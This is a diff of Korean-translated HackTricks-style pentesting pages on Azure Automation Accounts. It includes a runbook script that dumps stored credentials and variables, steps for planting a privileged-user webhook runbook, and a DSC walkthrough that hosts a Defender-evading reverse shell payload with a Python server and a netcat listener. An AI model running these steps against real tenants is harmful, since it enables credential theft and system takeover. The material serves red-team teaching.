- Step 5 — 구성 파일 게시
|
||||
|
||||
구성 파일이 실행되어 리버스 셸 스크립트가 Windows VM의 지정된 위치에 배포됩니다.
|
||||
|
||||
- Step 6 — 페이로드 호스팅 및 리스너 설정
|
||||
|
||||
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 수신 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
예약된 작업이 페이로드를 실행하여 SYSTEM 수준의 권한을 획득합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,170 +0,0 @@
|
||||
# Az - Automation Account
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
[문서에서:] (https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation은 클라우드 기반 자동화, 운영 체제 업데이트 및 구성 서비스를 제공하여 Azure 및 비-Azure 환경 전반에 걸쳐 일관된 관리를 지원합니다. 여기에는 프로세스 자동화, 구성 관리, 업데이트 관리, 공유 기능 및 이질적인 기능이 포함됩니다.
|
||||
|
||||
이것들은 Azure에서 "**예약된 작업**"과 같으며, **Azure 환경**을 **관리**, 확인 및 구성하기 위해 작업(작업 또는 스크립트)을 실행할 수 있게 해줍니다.
|
||||
|
||||
### 실행 계정
|
||||
|
||||
**Run as Account**가 사용되면, 자체 서명된 인증서로 Azure AD **애플리케이션**을 생성하고, **서비스 주체**를 생성하며, **현재 구독**에서 계정에 **기여자** 역할을 할당합니다(많은 권한).\
|
||||
Microsoft는 Automation Account에 **Managed Identity**를 사용하는 것을 권장합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이는 **2023년 9월 30일에 제거되며 Managed Identities로 변경됩니다.**
|
||||
|
||||
## 런북 및 작업
|
||||
|
||||
**Runbooks**는 **임의의 PowerShell** 코드를 **실행**할 수 있게 해줍니다. 이는 **공격자에 의해 악용될 수** 있어 **첨부된 주체**의 권한을 훔칠 수 있습니다(있는 경우).\
|
||||
**Runbooks**의 **코드**에서 **민감한 정보**(예: 자격 증명)를 찾을 수도 있습니다.
|
||||
|
||||
**작업**을 **읽을 수** 있다면, **실행**의 **출력**(잠재적인 **민감한 정보**)을 포함하고 있으므로 그렇게 하십시오.
|
||||
|
||||
`Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`로 이동하십시오.
|
||||
|
||||
### 하이브리드 작업자
|
||||
|
||||
런북은 **Azure 내부의 컨테이너** 또는 **하이브리드 작업자**(비-Azure 머신)에서 실행될 수 있습니다.\
|
||||
**Log Analytics Agent**는 하이브리드 작업자로 등록하기 위해 VM에 배포됩니다.\
|
||||
하이브리드 작업자 작업은 Windows에서 **SYSTEM**으로, Linux에서 **nxautomation** 계정으로 실행됩니다.\
|
||||
각 하이브리드 작업자는 **하이브리드 작업자 그룹**에 등록됩니다.
|
||||
|
||||
따라서 **Windows Hybrid Worker**에서 **Runbook**을 실행하도록 선택할 수 있다면, 외부 머신에서 **System**으로 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술).
|
||||
|
||||
## 손상 상태 구성(SC)
|
||||
|
||||
[문서에서:] (https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **상태 구성**은 클라우드 또는 온프레미스 데이터 센터의 노드에 대한 PowerShell Desired State Configuration (DSC) [구성](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations)을 작성, 관리 및 컴파일할 수 있는 Azure 구성 관리 서비스입니다. 이 서비스는 [DSC 리소스](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources)를 가져오고, 구성을 대상 노드에 할당하며, 모두 클라우드에서 수행됩니다. Azure 포털에서 **구성 관리** 아래의 **상태 구성(DSC)**를 선택하여 Azure Automation 상태 구성에 액세스할 수 있습니다.
|
||||
|
||||
이 구성에서 **민감한 정보**를 찾을 수 있습니다.
|
||||
|
||||
### RCE
|
||||
|
||||
SC를 악용하여 관리되는 머신에서 임의의 스크립트를 실행할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## 열거
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
### Runbook 만들기
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
### Run Book을 사용하여 Automation Account에 정의된 자격 증명 및 변수를 유출하기
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
> [!NOTE]
|
||||
> 기존 Run Book을 수정하거나 웹 콘솔에서 동일한 작업을 수행할 수 있습니다.
|
||||
|
||||
### 자동화된 고급 권한 사용자 생성 설정 단계
|
||||
|
||||
#### 1. 자동화 계정 초기화
|
||||
|
||||
- **필요한 작업:** 새 자동화 계정을 생성합니다.
|
||||
- **특정 설정:** "Azure Run As 계정 생성"이 활성화되어 있는지 확인합니다.
|
||||
|
||||
#### 2. Runbook 가져오기 및 설정
|
||||
|
||||
- **출처:** [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst)에서 샘플 runbook을 다운로드합니다.
|
||||
- **필요한 작업:**
|
||||
- Runbook을 자동화 계정에 가져옵니다.
|
||||
- Runbook을 게시하여 실행 가능하게 만듭니다.
|
||||
- Runbook에 웹후크를 연결하여 외부 트리거를 활성화합니다.
|
||||
|
||||
#### 3. AzureAD 모듈 구성
|
||||
|
||||
- **필요한 작업:** AzureAD 모듈을 자동화 계정에 추가합니다.
|
||||
- **추가 단계:** 모든 Azure Automation 모듈이 최신 버전으로 업데이트되어 있는지 확인합니다.
|
||||
|
||||
#### 4. 권한 할당
|
||||
|
||||
- **할당할 역할:**
|
||||
- 사용자 관리자
|
||||
- 구독 소유자
|
||||
- **대상:** 필요한 권한을 위해 이러한 역할을 자동화 계정에 할당합니다.
|
||||
|
||||
#### 5. 잠재적 접근 손실 인식
|
||||
|
||||
- **참고:** 이러한 자동화를 구성하면 구독에 대한 제어를 잃을 수 있음을 인식해야 합니다.
|
||||
|
||||
#### 6. 사용자 생성 트리거
|
||||
|
||||
- POST 요청을 보내 웹후크를 트리거하여 새 사용자를 생성합니다.
|
||||
- 제공된 PowerShell 스크립트를 사용하고, `$uri`를 실제 웹후크 URL로 교체하며, `$AccountInfo`를 원하는 사용자 이름과 비밀번호로 업데이트합니다.
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
## 참고문헌
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-57
@@ -1,57 +0,0 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
|
||||
|
||||
#### Overview
|
||||
|
||||
이 과정은 Windows Defender를 우회하도록 설계된 수정된 Nishang `Invoke-PowerShellTcp.ps1` 페이로드인 `RevPS.ps1`를 호스팅하기 위한 원격 서버 인프라를 설정하는 것을 포함합니다. 이 페이로드는 IP `40.84.7.74`를 가진 Kali Linux 머신에서 간단한 Python HTTP 서버를 사용하여 제공됩니다. 이 작업은 여러 단계를 통해 실행됩니다:
|
||||
|
||||
#### Step 1 — Create Files
|
||||
|
||||
- **Files Required:** 두 개의 PowerShell 스크립트가 필요합니다:
|
||||
1. `reverse_shell_config.ps1`: 페이로드를 가져와 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
|
||||
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
|
||||
- **Customization:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.
|
||||
|
||||
#### Step 2 — Zip Configuration File
|
||||
|
||||
- `reverse_shell_config.ps1`는 Azure Storage Account로 전송할 준비가 되도록 `.zip` 파일로 압축됩니다.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Step 3 — Storage Context 설정 및 업로드
|
||||
|
||||
- 압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Step 4 — Kali 박스 준비
|
||||
|
||||
- Kali 서버는 GitHub 리포지토리에서 RevPS.ps1 페이로드를 다운로드합니다.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- 스크립트는 대상 Windows VM과 리버스 셸을 위한 포트를 지정하도록 수정됩니다.
|
||||
|
||||
#### Step 5 — 구성 파일 게시
|
||||
|
||||
- 구성 파일이 실행되어 리버스 셸 스크립트가 Windows VM의 지정된 위치에 배포됩니다.
|
||||
|
||||
#### Step 6 — 페이로드 호스팅 및 리스너 설정
|
||||
|
||||
- 페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- 예약된 작업이 페이로드를 실행하여 SYSTEM 수준의 권한을 획득합니다.
|
||||
|
||||
#### 결론
|
||||
|
||||
이 프로세스의 성공적인 실행은 자격 증명 덤프 또는 여러 VM으로 공격을 확장하는 등 추가 작업을 위한 수많은 가능성을 열어줍니다. 이 가이드는 Azure Automation DSC 영역에서 지속적인 학습과 창의성을 장려합니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,227 @@
|
||||
# Az - Automation Accounts
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Automation Accounts는 Microsoft Azure의 클라우드 기반 서비스로, Azure 및 온프레미스 환경에서 리소스 관리, 구성 및 업데이트와 같은 **작업을 자동화**하는 데 도움을 줍니다. 이들은 **Runbooks**(실행되는 자동화 스크립트), **일정**, 및 **하이브리드 작업자 그룹**을 제공하여 자동화 **작업**을 실행하고, 코드로서의 인프라(IaC) 및 프로세스 자동화를 통해 클라우드 리소스 관리의 효율성과 일관성을 향상시킵니다.
|
||||
|
||||
### Settings
|
||||
|
||||
- **Credentials**: 비밀번호는 자동화 계정 내의 runbook에서만 접근할 수 있으며, **사용자 이름과 비밀번호를 안전하게 저장**하는 데 사용됩니다.
|
||||
- **Variables**: runbooks에서 사용할 수 있는 **구성 데이터**를 저장하는 데 사용됩니다. 여기에는 API 키와 같은 민감한 정보도 포함될 수 있습니다. 변수가 **암호화되어 저장**되면, 자동화 계정 내의 runbook에서만 사용할 수 있습니다.
|
||||
- **Certificates**: runbooks에서 사용할 수 있는 **인증서**를 저장하는 데 사용됩니다.
|
||||
- **Connections**: 외부 서비스에 대한 **연결 정보**를 저장하는 데 사용됩니다. 여기에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
- **Network Access**: **공개** 또는 **비공개**로 설정할 수 있습니다.
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbooks는 PowerShell, Python 또는 그래픽 편집기에서 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다.
|
||||
|
||||
**Runbooks** 내의 **코드**는 **민감한 정보**(예: 자격 증명)를 포함할 수 있습니다.
|
||||
|
||||
`Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
**Job은 Runbook 실행의 인스턴스**입니다. Runbook을 실행하면 해당 실행을 추적하기 위해 Job이 생성됩니다. 각 job에는 다음이 포함됩니다:
|
||||
|
||||
- **Status**: 대기 중, 실행 중, 완료, 실패, 일시 중지.
|
||||
- **Output**: Runbook 실행의 결과.
|
||||
- **Start and End Time**: 작업이 시작되고 완료된 시간.
|
||||
|
||||
Job은 **Runbook** 실행의 **출력**을 포함합니다. **jobs**를 **읽을 수** 있다면, **run**의 **출력**(잠재적 **민감한 정보**)을 포함하고 있으므로 읽어보세요.
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Runbook을 실행하는 주요 방법은 3가지입니다:
|
||||
|
||||
- **Schedules**: 특정 **시간** 또는 **간격**에 Runbooks를 **트리거**하는 데 사용됩니다.
|
||||
- **Webhooks**: 외부 서비스에서 Runbooks를 **트리거**하는 데 사용할 수 있는 **HTTP 엔드포인트**입니다. 생성 후 webhook URL은 **보이지 않습니다**.
|
||||
- **Manual Trigger**: Azure Portal 및 CLI에서 Runbook을 **수동으로 트리거**할 수 있습니다.
|
||||
|
||||
### Source Control
|
||||
|
||||
Runbooks를 **Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 가져올 수 있습니다. 레포의 Runbooks를 Azure Automation 계정에 게시하도록 설정할 수 있으며, 레포의 변경 사항을 Azure Automation 계정에 **동기화**하도록 설정할 수도 있습니다.
|
||||
|
||||
동기화가 활성화되면, **Github 리포지토리에서 webhook이 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. webhook URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
이 웹훅은 **Github 리포와 연결된 runbooks에서 웹훅을 나열할 때 보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 레포 URL을 **변경할 수 없습니다**.
|
||||
|
||||
구성된 소스 제어가 작동하려면, **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리형 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리형 ID를 할당하려면 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 변수를 **사용자 관리형 ID 클라이언트 ID**로 설정하면 됩니다.
|
||||
|
||||
### Runtime Environments
|
||||
|
||||
Runbook을 생성할 때 런타임 환경을 선택할 수 있습니다. 기본적으로 다음 런타임 환경이 제공됩니다:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
- **PowerShell 7.2**
|
||||
- **Python 3.10**
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
그러나 이러한 환경 중 하나를 기반으로 **자신의 환경을 생성**할 수도 있습니다. Python의 경우, 사용할 환경에 `.whl` 패키지를 업로드할 수 있습니다. PowerShell의 경우, 런타임에 포함할 모듈이 있는 `.zip` 패키지를 업로드할 수 있습니다.
|
||||
|
||||
### Hybrid Worker
|
||||
|
||||
Runbook은 **Azure 내의 컨테이너** 또는 **하이브리드 작업자**(비-Azure 머신)에서 실행될 수 있습니다.\
|
||||
**Log Analytics Agent**는 VM에 배포되어 하이브리드 작업자로 등록됩니다.\
|
||||
하이브리드 작업자 작업은 Windows에서 **SYSTEM**으로, Linux에서 **nxautomation** 계정으로 실행됩니다.\
|
||||
각 하이브리드 작업자는 **하이브리드 작업자 그룹**에 등록됩니다.
|
||||
|
||||
따라서 **Windows Hybrid Worker**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신에서 **임의의 명령**을 실행할 수 있습니다(좋은 피벗 기술).
|
||||
|
||||
### State Configuration (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)에서 언급된 바와 같이, Azure Automation State Configuration은 2027년 9월 30일에 종료되며 [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)으로 대체됩니다.
|
||||
|
||||
Automation Accounts는 **State Configuration (SC)**도 지원하며, 이는 VM의 **상태를 구성**하고 **유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다.
|
||||
|
||||
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리형 ID로 권한 상승을 가능하게 하여 새로운 네트워크로 피벗할 수 있게 했습니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
|
||||
# Get Automation Account details
|
||||
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
|
||||
# Check the managed identities in `identity`
|
||||
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get keys of automation account
|
||||
## These are used for the DSC
|
||||
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get schedules of automation account
|
||||
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get connections of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
|
||||
|
||||
# Get connection details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
|
||||
|
||||
# Get credentials of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
|
||||
|
||||
# Get credential details
|
||||
## Note that you will only be able to access the password from inside a Runbook
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
|
||||
|
||||
# Get certificates of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
|
||||
|
||||
# Get certificate details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
|
||||
|
||||
# Get variables of automation account
|
||||
## It's possible to get the value of unencrypted variables but not the encrypted ones
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
|
||||
|
||||
# Get variable details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
|
||||
|
||||
# Get runbooks of an automation account
|
||||
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get runbook details
|
||||
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
|
||||
|
||||
# Get runbook content
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
|
||||
|
||||
# Get jobs of an automation account
|
||||
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get job details
|
||||
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
|
||||
|
||||
# Get job output
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
|
||||
# Get the Runbook content when the job was executed
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
|
||||
|
||||
# Get webhooks inside an automation account
|
||||
## It's possible to see to which runbook it belongs in the given data
|
||||
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
|
||||
## Generating a webhook can be useful from a persistence perspective
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
az automation runtime-environment list \
|
||||
--resource-group <res-group>> \
|
||||
--automation-account-name <account-name> \
|
||||
--query "[?!(starts_with(description, 'System-generated'))]"
|
||||
|
||||
# Get State Configurations (SC) of an automation account
|
||||
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get State Configuration details
|
||||
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## 권한 상승 및 포스트 익스플로잇
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -12,18 +12,18 @@ az-azure-network.md
|
||||
|
||||
## VMs 기본 정보
|
||||
|
||||
